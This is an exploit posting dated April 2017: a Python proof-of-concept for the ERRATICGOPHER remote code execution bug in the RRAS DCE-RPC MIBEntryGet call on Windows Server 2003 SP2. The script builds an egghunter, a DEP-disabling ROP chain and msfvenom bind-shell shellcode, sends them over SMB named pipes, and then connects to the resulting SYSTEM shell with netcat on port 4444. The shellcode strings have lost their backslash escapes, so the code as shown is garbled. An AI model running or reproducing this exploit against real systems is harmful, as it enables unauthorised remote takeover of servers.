Microsoft Windows 2003 SP2 ERRATICGOPHER SMB Remote Code Execution
Posted on 26 April 2017
#!/usr/bin/env python # -*- coding: utf-8 -*- ################################################################################## # By Victor Portal (vportal) for educational porpouse only ################################################################################## # This exploit is the python version of the ErraticGopher exploit probably # # with some modifications. ErraticGopher exploits a memory corruption # # (seems to be a Heap Overflow) in the Windows DCE-RPC Call MIBEntryGet. # # Because the Magic bytes, the application redirects the execution to the # # iprtrmgr.dll library, where a instruction REPS MOVS (0x641194f5) copy # # all te injected stub from the heap to the stack, overwritten a return # # address as well as the SEH handler stored in the Stack, being possible # # to control the execution flow to disable DEP and jump to the shellcode # # as SYSTEM user. # ################################################################################## #The exploit only works if target has the RRAS service enabled #Tested on Windows Server 2003 SP2 import struct import sys import time import os from threading import Thread from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport target = sys.argv[1] print '[-]Initiating connection' trans = transport.DCERPCTransportFactory('ncacn_np:%s[\pipe\browser]' % target) trans.connect() print '[-]connected to ncacn_np:%s[\pipe\browser]' % target dce = trans.DCERPC_class(trans) #RRAS DCE-RPC CALL dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0'))) egghunter = "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5a" egghunter += "x74xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7" #msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "x00" -f python buf = "" buf += "xb8x3cxb1x1ex1dxd9xc8xd9x74x24xf4x5ax33" buf += "xc9xb1x53x83xc2x04x31x42x0ex03x7exbfxfc" buf += "xe8x82x57x82x13x7axa8xe3x9ax9fx99x23xf8" buf += "xd4x8ax93x8axb8x26x5fxdex28xbcx2dxf7x5f" buf += "x75x9bx21x6ex86xb0x12xf1x04xcbx46xd1x35" buf += "x04x9bx10x71x79x56x40x2axf5xc5x74x5fx43" buf += "xd6xffx13x45x5ex1cxe3x64x4fxb3x7fx3fx4f" buf += "x32x53x4bxc6x2cxb0x76x90xc7x02x0cx23x01" buf += "x5bxedx88x6cx53x1cxd0xa9x54xffxa7xc3xa6" buf += "x82xbfx10xd4x58x35x82x7ex2axedx6ex7exff" buf += "x68xe5x8cxb4xffxa1x90x4bxd3xdaxadxc0xd2" buf += "x0cx24x92xf0x88x6cx40x98x89xc8x27xa5xc9" buf += "xb2x98x03x82x5fxccx39xc9x37x21x70xf1xc7" buf += "x2dx03x82xf5xf2xbfx0cxb6x7bx66xcbxb9x51" buf += "xdex43x44x5ax1fx4ax83x0ex4fxe4x22x2fx04" buf += "xf4xcbxfaxb1xfcx6ax55xa4x01xccx05x68xa9" buf += "xa5x4fx67x96xd6x6fxadxbfx7fx92x4exaex23" buf += "x1bxa8xbaxcbx4dx62x52x2exaaxbbxc5x51x98" buf += "x93x61x19xcax24x8ex9axd8x02x18x11x0fx97" buf += "x39x26x1axbfx2exb1xd0x2ex1dx23xe4x7axf5" buf += "xc0x77xe1x05x8ex6bxbex52xc7x5axb7x36xf5" buf += "xc5x61x24x04x93x4axecxd3x60x54xedx96xdd" buf += "x72xfdx6exddx3exa9x3ex88xe8x07xf9x62x5b" buf += "xf1x53xd8x35x95x22x12x86xe3x2ax7fx70x0b" buf += "x9axd6xc5x34x13xbfxc1x4dx49x5fx2dx84xc9" buf += "x6fx64x84x78xf8x21x5dx39x65xd2x88x7ex90" buf += "x51x38xffx67x49x49xfax2cxcdxa2x76x3cxb8" buf += "xc4x25x3dxe9" #NX disable routine for Windows Server 2003 SP2 rop = "x30xdbxc0x71" #push esp, pop ebp, retn ws_32.dll rop += "x45"*16 rop += "xe9x77xc1x77" #push esp, pop ebp, retn 4 gdi32.dll rop += "x5dx7ax81x7c" #ret 20 rop += "x71x42x38x77" #jmp esp rop += "xf6xe7xbdx77" #add esp,2c ; retn msvcrt.dll rop += "x90"*2 + egghunter + "x90"*42 rop += "x17xf5x83x7c" #Disable NX routine rop += "x90"*4 stub = "x21x00x00x00x10x27x00x00x30x07x00x00x00x40x51x06x04x00x00x00x00x85x57x01x30x07x00x00x08x00x00x00" #Magic bytes stub += "x41"*20 + rop + "xCC"*100 + "w00tw00t" + buf + "x42"*(1313-20-len(rop)-100-8-len(buf)) stub += "x12" #Magic byte stub += "x46"*522 stub += "x04x00x00x00x00x00x00x00" #Magic bytes dce.call(0x1d, stub) #0x1d MIBEntryGet (vulnerable function) print "[-]Exploit sent to target successfully..." print "Waiting for shell..." time.sleep(5) os.system("nc " + target + " 4444")
